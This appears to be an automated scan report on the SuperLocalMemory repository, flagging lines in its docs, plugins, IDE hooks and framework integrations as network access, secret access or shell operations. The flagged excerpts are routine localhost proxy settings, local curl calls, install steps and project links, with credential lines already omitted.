--- *Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com) | AI Reliability Engineering* - Network accessline 270
*Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com) | AI Reliability Engineering*
docs/optimize-config.md
- Network accessline 227
--- *Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com) | AI Reliability Engineering* - Network accessline 228
*Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com) | AI Reliability Engineering*
docs/optimize-overview.md
- Network accessline 66
| **CCR (Compressed Context Retrieval)** | Pre-compression originals stored, retrievable byte-exact via UUID (best-effort) | Safety net for aggressive prose compression | | **Independent runtime toggles** | Cache and Compress flip on/off li - Network accessline 67
| **Independent runtime toggles** | Cache and Compress flip on/off live from the dashboard — no restart | Run cache-only, compress-only, both, or neither, per your workload | | **Per-agent MCP attribution** | `http://127.0.0.1:8765/mcp/{age - Network accessline 68
| **Per-agent MCP attribution** | `http://127.0.0.1:8765/mcp/{agent_id}` labels audit attribution; authenticated credentials derive mutation authority | Many clients can use one daemon without treating a path label as identity | - Network accessline 143
slm proxy # Set base_url to http://127.0.0.1:8765 in your client - Network accessline 144
# Set base_url to http://127.0.0.1:8765 in your client - Network accessline 161
Or open the dashboard (`slm dashboard`, http://localhost:8765) and choose the **Optimize** tab. - Network accessline 262
--- *Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com) | AI Reliability Engineering* - Network accessline 263
*Part of [Qualixar](https://qualixar.com) | Created by [Varun Pratap Bhardwaj](https://varunpratap.com) | AI Reliability Engineering*
docs/optimize-per-agent.md
- Network accessline 3
> SuperLocalMemory V4 · https://superlocalmemory.com · Part of Qualixar
docs/plugins.md
- Network accessline 21
| Codex | `slm connect codex` then `slm codex install` | MCP server, skills, sub-agents, lifecycle hooks | | VS Code / GitHub Copilot | `slm connect vscode-copilot --here` (from the project root), then copy `copilot-plugin/.github/` add-ons - Network accessline 22
| VS Code / GitHub Copilot | `slm connect vscode-copilot --here` (from the project root), then copy `copilot-plugin/.github/` add-ons | MCP server, agent rules, 16 prompt files, 4 agents, hooks | | VS Code (extension) | Install `superlocalm - Network accessline 23
| VS Code (extension) | Install `superlocalmemory-vscode-<version>.vsix` from the [GitHub release](https://github.com/qualixar/superlocalmemory/releases/latest): Extensions view → `...` → Install from VSIX | The MCP server in the agent's to - Network accessline 24
| Cursor-format hosts (Grok Bot, Cursor) | Add the `qualixar` marketplace in the host's Plugins screen, then `superlocalmemory`. In Cursor you can also copy `cursor-plugin/` to `~/.cursor/plugins/local/superlocalmemory` | MCP server, a bot- - Network accessline 25
| Hermes | `hermes plugins install 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin'`, then `slm upgrade-hosts --host hermes --apply` | Skills, child-agent roles, `/slm` commands, recall and session hooks | - Network accessline 121
Download `superlocalmemory-vscode-<version>.vsix` from the [latest GitHub release](https://github.com/qualixar/superlocalmemory/releases/latest), - Network accessline 122
[latest GitHub release](https://github.com/qualixar/superlocalmemory/releases/latest), - Network accessline 236
hermes plugins install 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin'
docs/proxy-setup.md
- Network accessline 1
# Proxy Setup — All CLIs & Editors > https://superlocalmemory.com | Part of Qualixar — AI Reliability Engineering - Network accessline 2
> https://superlocalmemory.com | Part of Qualixar — AI Reliability Engineering - Network accessline 21
The proxy runs at `http://127.0.0.1:8765`. It supports three surfaces: - Network accessline 72
`slm wrap claude` sets `ANTHROPIC_BASE_URL=http://127.0.0.1:8765` and launches Claude Code. - Network accessline 80
{ "env": { "ANTHROPIC_BASE_URL": "http://127.0.0.1:8765" - Network accessline 81
"env": { "ANTHROPIC_BASE_URL": "http://127.0.0.1:8765" } - Network accessline 82
"ANTHROPIC_BASE_URL": "http://127.0.0.1:8765" - Network accessline 87
Restart Claude Code. Verify: `echo $ANTHROPIC_BASE_URL` inside a Claude Code bash tool — should print `http://127.0.0.1:8765`. - Network accessline 100
launchctl setenv ANTHROPIC_BASE_URL "http://127.0.0.1:8765" - Network accessline 107
echo 'export ANTHROPIC_BASE_URL="http://127.0.0.1:8765"' >> ~/.zshenv - Network accessline 121
1. Open Cursor → Settings → Models 2. Set **OpenAI Base URL** (or **Custom Base URL**) to: `http://127.0.0.1:8765` - Network accessline 122
2. Set **OpenAI Base URL** (or **Custom Base URL**) to: `http://127.0.0.1:8765` - Network accessline 128
OPENAI_BASE_URL=http://127.0.0.1:8765 cursor . - Network accessline 144
slm wrap windsurf # or set OPENAI_BASE_URL=http://127.0.0.1:8765 in Windsurf's model settings - Network accessline 145
# or set OPENAI_BASE_URL=http://127.0.0.1:8765 in Windsurf's model settings - Network accessline 156
**What does NOT work:** - `ANTHROPIC_BASE_URL=http://127.0.0.1:8765 agy ...` — ignored. AGY routes Claude via Vertex AI. - Network accessline 157
- `ANTHROPIC_BASE_URL=http://127.0.0.1:8765 agy ...` — ignored. AGY routes Claude via Vertex AI. - Network accessline 158
- `GOOGLE_GENAI_BASE_URL=http://127.0.0.1:8765 agy ...` — ignored. AGY uses its own auth layer. - Network accessline 163
OPENAI_BASE_URL=http://127.0.0.1:8765/v1 agy -p "your prompt" - Network accessline 169
> **Note:** Full AGY proxy support targets OpenAI-compatible base URL paths. Watch [GitHub releases](https://github.com/qualixar/superlocalmemory/releases) for updates on native AGY integration. - Network accessline 182
GOOGLE_GENAI_BASE_URL=http://127.0.0.1:8765 gemini -p "your prompt" - Network accessline 198
[Credential-related source omitted] - Network accessline 199
[Credential-related source omitted] - Access to secretsline 199
[Credential-related source omitted] - Network accessline 200
base_url="http://127.0.0.1:8765/v1", # ← SLM proxy - Network accessline 217
[Credential-related source omitted] - Network accessline 218
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted] - Network accessline 219
base_url="http://127.0.0.1:8765", # ← SLM proxy - Network accessline 248
[Credential-related source omitted] - Network accessline 249
[Credential-related source omitted] - Access to secretsline 249
[Credential-related source omitted] - Network accessline 250
baseURL: "http://127.0.0.1:8765", // ← SLM proxy - Network accessline 267
[Credential-related source omitted] - Network accessline 268
[Credential-related source omitted] - Access to secretsline 268
[Credential-related source omitted] - Network accessline 269
baseURL: "http://127.0.0.1:8765/v1", // ← SLM proxy - Network accessline 309
export OPENAI_BASE_URL=http://127.0.0.1:8765/v1 - Network accessline 310
export ANTHROPIC_BASE_URL=http://127.0.0.1:8765 - Network accessline 319
# Anthropic curl http://127.0.0.1:8765/v1/messages \ - Network accessline 320
[Credential-related source omitted] - Access to secretsline 320
[Credential-related source omitted] - Access to secretsline 321
[Credential-related source omitted] - Network accessline 326
# OpenAI curl http://127.0.0.1:8765/v1/chat/completions \ - Network accessline 327
[Credential-related source omitted] - Access to secretsline 327
[Credential-related source omitted] - Access to secretsline 328
[Credential-related source omitted] - Network accessline 338
OPENAI_BASE_URL=http://127.0.0.1:8765/v1 codex "your task" - Network accessline 350
slm optimize savings --since 1 # savings in the last 1 hour curl -s http://127.0.0.1:8765/api/optimize/stats | python3 -m json.tool - Dangerous shell operationline 351
curl -s http://127.0.0.1:8765/api/optimize/stats | python3 -m json.tool - Network accessline 351
curl -s http://127.0.0.1:8765/api/optimize/stats | python3 -m json.tool - Network accessline 354
Or open the dashboard: `slm serve` → http://localhost:8765 → **Optimize** tab. - Network accessline 384
2. **Requests are identical?** The cache key is a hash of `(model, messages, tools)`. If messages differ on every call (e.g. a different system prompt or timestamp), each call is a miss. 3. **Too few messages to compress?** Compression prot - Dangerous shell operationline 386
4. **Check stats:** `curl -s http://127.0.0.1:8765/api/optimize/stats | python3 -m json.tool` — look at `misses` vs `hits`. - Network accessline 386
4. **Check stats:** `curl -s http://127.0.0.1:8765/api/optimize/stats | python3 -m json.tool` — look at `misses` vs `hits`. - Network accessline 406
|-----------|---------|-------------| | Claude Code CLI | Anthropic | `slm wrap claude` or `settings.json` env block | | Claude Desktop | Anthropic | `launchctl setenv ANTHROPIC_BASE_URL http://127.0.0.1:8765` | - Network accessline 407
| Claude Code CLI | Anthropic | `slm wrap claude` or `settings.json` env block | | Claude Desktop | Anthropic | `launchctl setenv ANTHROPIC_BASE_URL http://127.0.0.1:8765` | | Cursor | OpenAI compat | Cursor settings → Custom Base URL | - Network accessline 408
| Claude Desktop | Anthropic | `launchctl setenv ANTHROPIC_BASE_URL http://127.0.0.1:8765` | - Network accessline 410
| Windsurf | OpenAI compat | `slm wrap windsurf` | | AGY / Antigravity | Anthropic / OpenAI | Partial — see AGY section. | | Gemini CLI (deprecated Jun 19) | Gemini native | `GOOGLE_GENAI_BASE_URL=http://127.0.0.1:8765 gemini ...` | - Network accessline 411
| AGY / Antigravity | Anthropic / OpenAI | Partial — see AGY section. | | Gemini CLI (deprecated Jun 19) | Gemini native | `GOOGLE_GENAI_BASE_URL=http://127.0.0.1:8765 gemini ...` | | Codex CLI | OpenAI compat | `slm wrap codex` | - Network accessline 412
| Gemini CLI (deprecated Jun 19) | Gemini native | `GOOGLE_GENAI_BASE_URL=http://127.0.0.1:8765 gemini ...` | - Network accessline 413
| Codex CLI | OpenAI compat | `slm wrap codex` | | Python anthropic SDK | Anthropic | `base_url="http://127.0.0.1:8765"` | | Python openai SDK | OpenAI compat | `base_url="http://127.0.0.1:8765/v1"` | - Network accessline 414
| Python anthropic SDK | Anthropic | `base_url="http://127.0.0.1:8765"` | - Network accessline 415
| Python openai SDK | OpenAI compat | `base_url="http://127.0.0.1:8765/v1"` | - Network accessline 416
| Node.js @anthropic-ai/sdk | Anthropic | `baseURL: "http://127.0.0.1:8765"` | - Network accessline 417
| Node.js openai SDK | OpenAI compat | `baseURL: "http://127.0.0.1:8765/v1"` | - Network accessline 419
| LlamaIndex | OpenAI compat | `OPENAI_BASE_URL` env var | | SLM SDK adapter | In-process | `withSLM(OpenAI())` | | Raw curl | Both | Direct HTTP to port 8765 | - Network accessline 420
| SLM SDK adapter | In-process | `withSLM(OpenAI())` | | Raw curl | Both | Direct HTTP to port 8765 | | Any OpenAI-compatible client | OpenAI compat | Set base URL to `http://127.0.0.1:8765/v1` | - Network accessline 421
| Raw curl | Both | Direct HTTP to port 8765 | - Network accessline 422
| Any OpenAI-compatible client | OpenAI compat | Set base URL to `http://127.0.0.1:8765/v1` | - Network accessline 426
*Part of [Qualixar](https://qualixar.com) — AI Reliability Engineering | Created by [@varunPbhardwaj](https://x.com/varunPbhardwaj) | Subscribe [@myhonestdiary](https://youtube.com/@myhonestdiary)*
docs/remote-access/architecture-preview.html
- Network accessline 1
<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>SuperLocalMemory — integrated architecture</title><style>*{box-sizing:border-box}body{margin:0;padding:32p - Access to secretsline 180
[Credential-related source omitted] - Network accessline 216
<path d="M1350 1140V1048H1150V914H150V904" fill="none" stroke="#a78bfa" stroke-width="2" stroke-dasharray="6 5" marker-end="url(#integrated-arr)" /> </svg></div><div class="diagram mobile"><svg xmlns="http://www.w3.org/2000/svg" width="900" - Network accessline 217
</svg></div><div class="diagram mobile"><svg xmlns="http://www.w3.org/2000/svg" width="900" height="1450" viewBox="0 0 900 1450" role="img" aria-labelledby="mobile-title mobile-desc"><title id="mobile-title">SLM local core and optional remo
docs/remote-access/assets/remote-gateway-boundaries.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="1600" height="1020" viewBox="0 0 1600 1020" role="img" aria-labelledby="title desc"><title id="title">SLM remote connection: authorization and data boundaries</title><desc id="desc">SuperLocalM
docs/remote-access/assets/slm-integrated-architecture.svg
docs/remote-access/assets/slm-local-and-remote-mobile.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="900" height="1450" viewBox="0 0 900 1450" role="img" aria-labelledby="title desc"><title id="title">SLM local core and optional remote access, mobile overview</title><desc id="desc">SuperLocalM
docs/remote-access/assets/slm-local-and-remote.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="1600" height="1050" viewBox="0 0 1600 1050" role="img" aria-labelledby="title desc"><title id="title">SuperLocalMemory: local core and optional remote access</title><desc id="desc">SuperLocalMe
docs/remote-access/cloudflare-operations.md
- Network accessline 16
The native owner token has resource `https://auth.superlocalmemory.com/owner` and scope `slm:connect`. It cannot execute memory tools. AI-client tokens have resource `https://mcp.superlocalmemory.com/mcp`; read, write and session permission - Network accessline 20
1. Create the GitHub OAuth application named **SuperLocalMemory**, with homepage `https://superlocalmemory.com` and callback `https://auth.superlocalmemory.com/github/callback`. Keep wildcard callback matching and GitHub Device Flow disable - Access to secretsline 26
[Credential-related source omitted] - Network accessline 33
MCP clients and the outbound laptop connector are machine clients. Browser challenges must not intercept these API routes. Cloudflare Error 1010 indicates a browser-signature rejection; consult [Cloudflare's explanation](https://developers. - Network accessline 43
Browser Integrity Check and Bot Fight Mode are separate products. A hostname rule disabling the browser check does not bypass Free Bot Fight Mode. That whole-domain feature can challenge legitimate OAuth registration and MCP clients before - Network accessline 45
The auth Worker limits anonymous setup before allocating state. Per-address admission is evaluated before the shared limiter. Missing limiter bindings fail closed. [Cloudflare rate-limit counters](https://developers.cloudflare.com/workers/r - Network accessline 51
- **Composio:** Add Custom MCP, name **SuperLocalMemory**, server URL `https://mcp.superlocalmemory.com/mcp`, authentication **OAuth**. Complete GitHub sign-in, select the correct laptop/profile connection and approve the requested scopes. - Network accessline 54
Discovery: `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Expected authorization, token and registration endpoints are `/authorize`, `/oauth/token` and `/oauth/register` on that issuer. The discovered token-auth - Network accessline 60
[SQLite Durable Objects are available on Workers Free](https://developers.cloudflare.com/durable-objects/platform/pricing/). Test within the account's actual Free limits before purchasing anything. Free quota exhaustion can stop operations;
docs/remote-access/hosts.md
- Network accessline 32
| What | Address | |---|---| | Server URL (the MCP server) | `https://mcp.superlocalmemory.com/mcp` | - Network accessline 33
|---|---| | Server URL (the MCP server) | `https://mcp.superlocalmemory.com/mcp` | | OAuth metadata URL | `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server` | - Network accessline 34
| Server URL (the MCP server) | `https://mcp.superlocalmemory.com/mcp` | - Network accessline 35
| OAuth metadata URL | `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server` |
docs/skill-evolution.md
- Network accessline 38
|--------|-----------------|------| | **SLM Hook** (primary) | Every tool call with input/output (500 chars), session ID, project path. Secret scrubbing built-in. | Zero — runs locally, no LLM calls | | **ECC Integration** (optional) | Rich - Network accessline 39
| **SLM Hook** (primary) | Every tool call with input/output (500 chars), session ID, project path. Secret scrubbing built-in. | Zero — runs locally, no LLM calls | | **ECC Integration** (optional) | Rich observations from [Everything Claud - Network accessline 40
| **ECC Integration** (optional) | Rich observations from [Everything Claude Code](https://github.com/affaan-m/everything-claude-code) via `slm ingest --source ecc` | Zero — reads existing ECC data | - Network accessline 80
Access: Open `http://localhost:8765` and navigate to the Skill Evolution tab in the sidebar. Everything the tab shows belongs to the active workspace; switch workspace to see another one's skills. Approving a candidate and rolling one back - Network accessline 96
POST http://localhost:8765/api/v3/tool-event - Network accessline 115
[Everything Claude Code (ECC)](https://github.com/affaan-m/everything-claude-code) is a popular plugin for Claude Code that provides continuous learning, instinct-based pattern detection, and a rich observation pipeline. - Network accessline 218
- **[EvoSkills](https://arxiv.org/abs/2604.01687)** (HKUDS, 2026) — Co-evolutionary verification with information isolation. +30pp improvement from blind verification. - Network accessline 219
- **[OpenSpace](https://github.com/HKUDS/OpenSpace)** (HKUDS, MIT) — 3-trigger evolution system (post-analysis + tool degradation + metric monitor). Anti-loop guards. Version DAG model. - Network accessline 220
- **[SkillsBench](https://arxiv.org/abs/2602.12670)** (2026) — 86-task benchmark showing self-generated skills provide zero benefit without verification. Focused 2-3 module skills outperform exhaustive docs. - Network accessline 221
- **[SoK: Agent Skills](https://arxiv.org/abs/2602.12430)** (2026) — Four-axis taxonomy. Skills and MCP are orthogonal layers. - Network accessline 253
# approve one verified candidate for the active workspace curl -X POST http://localhost:8765/api/evolution/approve \ - Network accessline 254
curl -X POST http://localhost:8765/api/evolution/approve \ - Network accessline 258
# put the previous instructions back curl -X POST http://localhost:8765/api/evolution/rollback \ - Network accessline 259
curl -X POST http://localhost:8765/api/evolution/rollback \ - Network accessline 275
- [SLM GitHub](https://github.com/qualixar/superlocalmemory) - Network accessline 276
- [Qualixar](https://qualixar.com) - Network accessline 277
- [Everything Claude Code](https://github.com/affaan-m/everything-claude-code) - Network accessline 278
- [OpenSpace](https://github.com/HKUDS/OpenSpace) - Network accessline 279
- [EvoSkills Paper](https://arxiv.org/abs/2604.01687)
docs/troubleshooting.md
- Dangerous shell operationline 57
sudo apt install python3.12 - Access to secretsline 183
[Credential-related source omitted] - Network accessline 200
export HTTPS_PROXY="http://proxy.company.com:8080" - Network accessline 359
writes outside its memory for square matrices of roughly 576 to 1,000 rows (found by us, and the reason SLM avoids it), Cholesky can crash at very large sizes ([scipy#26145](https://github.com/scipy/scipy/issues/26145)), SVD can - Network accessline 360
(found by us, and the reason SLM avoids it), Cholesky can crash at very large sizes ([scipy#26145](https://github.com/scipy/scipy/issues/26145)), SVD can hang on a matrix that contains an infinite value - Network accessline 361
crash at very large sizes ([scipy#26145](https://github.com/scipy/scipy/issues/26145)), SVD can - Network accessline 362
hang on a matrix that contains an infinite value ([numpy#32591](https://github.com/numpy/numpy/issues/32591)), and one symmetric solver no longer notices a singular matrix on macOS 26.5 - Network accessline 363
([numpy#32591](https://github.com/numpy/numpy/issues/32591)), and one - Network accessline 365
([scipy#25313](https://github.com/scipy/scipy/issues/25313)). - Network accessline 457
1. Run `slm status --json` and note the output 2. Check the [GitHub Issues](https://github.com/qualixar/superlocalmemory/issues) - Network accessline 458
2. Check the [GitHub Issues](https://github.com/qualixar/superlocalmemory/issues)
docs/web-agents/setup-prompt.md
- Network accessline 34
Step 1. Check the connection. Call get_status from the SuperLocalMemory tools and show me the result. If you have no SuperLocalMemory tools, stop here and tell me: I need to add the MCP server https://mcp.superlocalmemory.com/mcp with OAuth
docs/wiki-diagrams/check-wiki.py
- Executable scriptline 1
#!/usr/bin/env python3
docs/wiki-diagrams/folder-reconcile.mmd
docs/wiki-diagrams/render.sh
- Executable scriptline 1
#!/bin/bash
examples/langchain_example.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
Requirements: pip install langchain-core SuperLocalMemory V2 installed (https://github.com/qualixar/superlocalmemory) - Network accessline 14
pip install langchain-core SuperLocalMemory V2 installed (https://github.com/qualixar/superlocalmemory) """ - Network accessline 15
SuperLocalMemory V2 installed (https://github.com/qualixar/superlocalmemory)
examples/llamaindex_example.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
Requirements: pip install llama-index-core SuperLocalMemory V2 installed (https://github.com/qualixar/superlocalmemory) - Network accessline 14
pip install llama-index-core SuperLocalMemory V2 installed (https://github.com/qualixar/superlocalmemory) """ - Network accessline 15
SuperLocalMemory V2 installed (https://github.com/qualixar/superlocalmemory)
hermes-plugin/README.md
hermes-plugin/__init__.py
- Executable scriptline 1
Executable file
hermes-plugin/plugin.yaml
- Network accessline 6
api_version: 1 license: AGPL-3.0-or-later homepage: https://github.com/qualixar/superlocalmemory - Network accessline 7
license: AGPL-3.0-or-later homepage: https://github.com/qualixar/superlocalmemory tags: [memory, local-first, mcp, agent-reliability] - Network accessline 8
homepage: https://github.com/qualixar/superlocalmemory
hermes-plugin/remote.py
- Executable scriptline 1
Executable file
hermes-plugin/skills/slm-cache/SKILL.md
- Network accessline 86
| Search result | `search:` | `search:recall:session_init_context` | | Tool output | `tool:` | `tool:build_code_graph:/repo` | | External fetch | `url:` | `url:https://api.example.com/v1/data` | - Network accessline 88
| External fetch | `url:` | `url:https://api.example.com/v1/data` |
hermes-plugin/skills/slm-getting-started-bot/SKILL.md
- Instruction override signalline 42
None of this is a degraded mode — it is the whole surface. Do not tell the user a feature is "missing" when it was simply never wired to this host
hermes-plugin/skills/slm-recall/SKILL.md
hermes-plugin/skills/slm-web-access/SKILL.md
- Network accessline 23
1. Open the dashboard (`slm dashboard`, default `http://localhost:8765`) and go - Network accessline 36
memory while this computer is online." 5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 37
5. In the app, add a remote MCP connector with the **MCP server URL** `https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) also want the **OAuth metadata URL** - Network accessline 38
`https://mcp.superlocalmemory.com/mcp` and OAuth. Some apps (Composio, Muse) - Network accessline 39
also want the **OAuth metadata URL** `https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`. Both are under **Technical details** with copy buttons. - Network accessline 40
`https://auth.superlocalmemory.com/.well-known/oauth-authorization-server`.
ide/completions/slm.bash
- Executable scriptline 1
Executable file
ide/completions/slm.zsh
- Executable scriptline 1
Executable file
ide/configs/chatgpt-desktop-mcp.json
- Network accessline 2
"_README": "ChatGPT Integration -- SuperLocalMemory V3 as ChatGPT Connector", "_requires": "ChatGPT Pro/Plus/Business/Enterprise with Developer Mode enabled", "_tools": "search(query) and fetch(id) -- required by OpenAI MCP spec for Con - Network accessline 3
"_requires": "ChatGPT Pro/Plus/Business/Enterprise with Developer Mode enabled", "_tools": "search(query) and fetch(id) -- required by OpenAI MCP spec for Connectors", "_setup": { - Network accessline 4
"_tools": "search(query) and fetch(id) -- required by OpenAI MCP spec for Connectors", - Network accessline 6
"step1": "Start MCP server: slm serve --port 8417", "step2": "Expose via tunnel: ngrok http 8417", "step3": "Copy the HTTPS URL from ngrok (e.g. https://abc123.ngrok.app)", - Network accessline 7
"step2": "Expose via tunnel: ngrok http 8417", "step3": "Copy the HTTPS URL from ngrok (e.g. https://abc123.ngrok.app)", "step4": "In ChatGPT: Settings -> Connectors -> Advanced -> Enable Developer Mode", - Network accessline 8
"step3": "Copy the HTTPS URL from ngrok (e.g. https://abc123.ngrok.app)", - Network accessline 9
"step4": "In ChatGPT: Settings -> Connectors -> Advanced -> Enable Developer Mode", "step5": "Create new Connector -> paste URL with /sse/ suffix (e.g. https://abc123.ngrok.app/sse/)", "step6": "Name it 'SuperLocalMemory' and click - Network accessline 10
"step5": "Create new Connector -> paste URL with /sse/ suffix (e.g. https://abc123.ngrok.app/sse/)",
ide/configs/continue-mcp.yaml
- Network accessline 1
# Official schema: https://docs.continue.dev/reference (2026-10-11)
ide/configs/opencode-mcp.json
ide/hooks/context-hook.js
- Executable scriptline 1
#!/usr/bin/env node
ide/hooks/memory-list-skill.js
- Executable scriptline 1
#!/usr/bin/env node
ide/hooks/memory-profile-skill.js
- Executable scriptline 1
#!/usr/bin/env node
ide/hooks/memory-recall-skill.js
- Executable scriptline 1
#!/usr/bin/env node
ide/hooks/memory-remember-skill.js
ide/hooks/memory-reset-skill.js
- Executable scriptline 1
#!/usr/bin/env node
ide/hooks/post-recall-hook.js
- Executable scriptline 1
#!/usr/bin/env node
ide/hooks/tool-event-hook.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 66
if [ -z "$PYTHON_CMD" ]; then curl -s -m 2 -X POST "http://127.0.0.1:${PORT}/api/v3/tool-event" \ - Network accessline 67
curl -s -m 2 -X POST "http://127.0.0.1:${PORT}/api/v3/tool-event" \ - Network accessline 134
echo "$ENRICHED" | curl -s -m 2 -X POST "http://127.0.0.1:${PORT}/api/v3/tool-event" \
ide/integrations/_engine_bridge.py
ide/integrations/agent-framework/README.md
- Network accessline 3
[Microsoft Agent Framework](https://learn.microsoft.com/en-us/agent-framework/) - Network accessline 5
[SuperLocalMemory](https://github.com/qualixar/superlocalmemory). - Network accessline 14
- Python >=3.12,<3.15 (3.12, 3.13, 3.14) - [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same environment - Network accessline 15
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same environment - Network accessline 24
git clone https://github.com/qualixar/superlocalmemory - Network accessline 78
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) - Network accessline 79
- [Documentation](https://superlocalmemory.com/) - Network accessline 80
- [Microsoft Agent Framework](https://learn.microsoft.com/en-us/agent-framework/)
ide/integrations/agent-framework/agent_framework_superlocalmemory/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/agent-framework/agent_framework_superlocalmemory/_v3_message_store.py
- Executable scriptline 1
Executable file
ide/integrations/agent-framework/agent_framework_superlocalmemory/providers.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Network accessline 58
# Native serialization contract opened 2026-10-11: # https://raw.githubusercontent.com/microsoft/agent-framework/main/python/packages/core/agent_framework/_types.py - Network accessline 59
# https://raw.githubusercontent.com/microsoft/agent-framework/main/python/packages/core/agent_framework/_types.py
ide/integrations/agent-framework/pyproject.toml
- Network accessline 29
[project.urls] Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 30
Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 31
Documentation = "https://superlocalmemory.com/" - Network accessline 32
Repository = "https://github.com/qualixar/superlocalmemory"
ide/integrations/agent-framework/tests/__init__.py
- Executable scriptline 1
Executable file
ide/integrations/agent-framework/tests/conftest.py
- Executable scriptline 1
Executable file
ide/integrations/agent-framework/tests/test_message_store.py
- Executable scriptline 1
Executable file
ide/integrations/agent-framework/tests/test_providers.py
- Executable scriptline 1
Executable file
ide/integrations/autogen/README.md
- Network accessline 3
AutoGen [`Memory`](https://microsoft.github.io/autogen/) backed by the local - Network accessline 4
data root of [SuperLocalMemory](https://github.com/qualixar/superlocalmemory). - Network accessline 18
- Python >=3.12,<3.15 (3.12, 3.13, 3.14) - [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same environment - Network accessline 19
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same environment - Network accessline 28
git clone https://github.com/qualixar/superlocalmemory - Network accessline 82
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) - Network accessline 83
- [Documentation](https://superlocalmemory.com/) - Network accessline 84
- [AutoGen](https://microsoft.github.io/autogen/)
ide/integrations/autogen/autogen_superlocalmemory/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/autogen/autogen_superlocalmemory/_v3_autogen_store.py
ide/integrations/autogen/autogen_superlocalmemory/memory.py
ide/integrations/autogen/pyproject.toml
- Network accessline 30
[project.urls] Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 31
Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 32
Documentation = "https://superlocalmemory.com/" - Network accessline 33
Repository = "https://github.com/qualixar/superlocalmemory"
ide/integrations/autogen/tests/__init__.py
- Executable scriptline 1
Executable file
ide/integrations/autogen/tests/conftest.py
- Executable scriptline 1
Executable file
ide/integrations/autogen/tests/test_autogen_store.py
- Executable scriptline 1
Executable file
ide/integrations/autogen/tests/test_memory.py
- Executable scriptline 1
Executable file
ide/integrations/crewai/README.md
- Network accessline 3
CrewAI [`StorageBackend`](https://docs.crewai.com/) (memory storage) backed by - Network accessline 4
the local data root of [SuperLocalMemory](https://github.com/qualixar/superlocalmemory). - Network accessline 13
- Python >=3.12,<3.14 (3.12, 3.13) - [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in a **separate** virtual environment; set `SLM_ENGINE_PYTHON` to its Python executable - Network accessline 14
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in a **separate** virtual environment; set `SLM_ENGINE_PYTHON` to its Python executable - Network accessline 29
git clone https://github.com/qualixar/superlocalmemory - Access to secretsline 46
[Credential-related source omitted] - Network accessline 91
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) - Network accessline 92
- [Documentation](https://superlocalmemory.com/) - Network accessline 93
- [CrewAI](https://docs.crewai.com/)
ide/integrations/crewai/crewai_superlocalmemory/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/crewai/crewai_superlocalmemory/_v3_crewai_store.py
ide/integrations/crewai/crewai_superlocalmemory/backend.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 24
# Current native API (opened 2026-10-11): # https://raw.githubusercontent.com/crewAIInc/crewAI/main/lib/crewai/src/crewai/memory/storage/backend.py - Network accessline 25
# https://raw.githubusercontent.com/crewAIInc/crewAI/main/lib/crewai/src/crewai/memory/storage/backend.py - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted]
ide/integrations/crewai/hatch_build.py
ide/integrations/crewai/pyproject.toml
- Network accessline 23
] # Upstream dependency contract opened 2026-10-11: # https://pypi.org/pypi/crewai/json - Network accessline 24
# Upstream dependency contract opened 2026-10-11: # https://pypi.org/pypi/crewai/json # SLM runs separately through SLM_ENGINE_PYTHON; do not embed its runtime here. - Network accessline 25
# https://pypi.org/pypi/crewai/json - Network accessline 31
[project.urls] Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 32
Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 33
Documentation = "https://superlocalmemory.com/" - Network accessline 34
Repository = "https://github.com/qualixar/superlocalmemory"
ide/integrations/crewai/tests/__init__.py
- Executable scriptline 1
Executable file
ide/integrations/crewai/tests/conftest.py
- Executable scriptline 1
Executable file
ide/integrations/crewai/tests/test_backend.py
- Executable scriptline 1
Executable file
ide/integrations/crewai/tests/test_crewai_store.py
- Executable scriptline 1
Executable file
ide/integrations/google-adk/README.md
- Network accessline 3
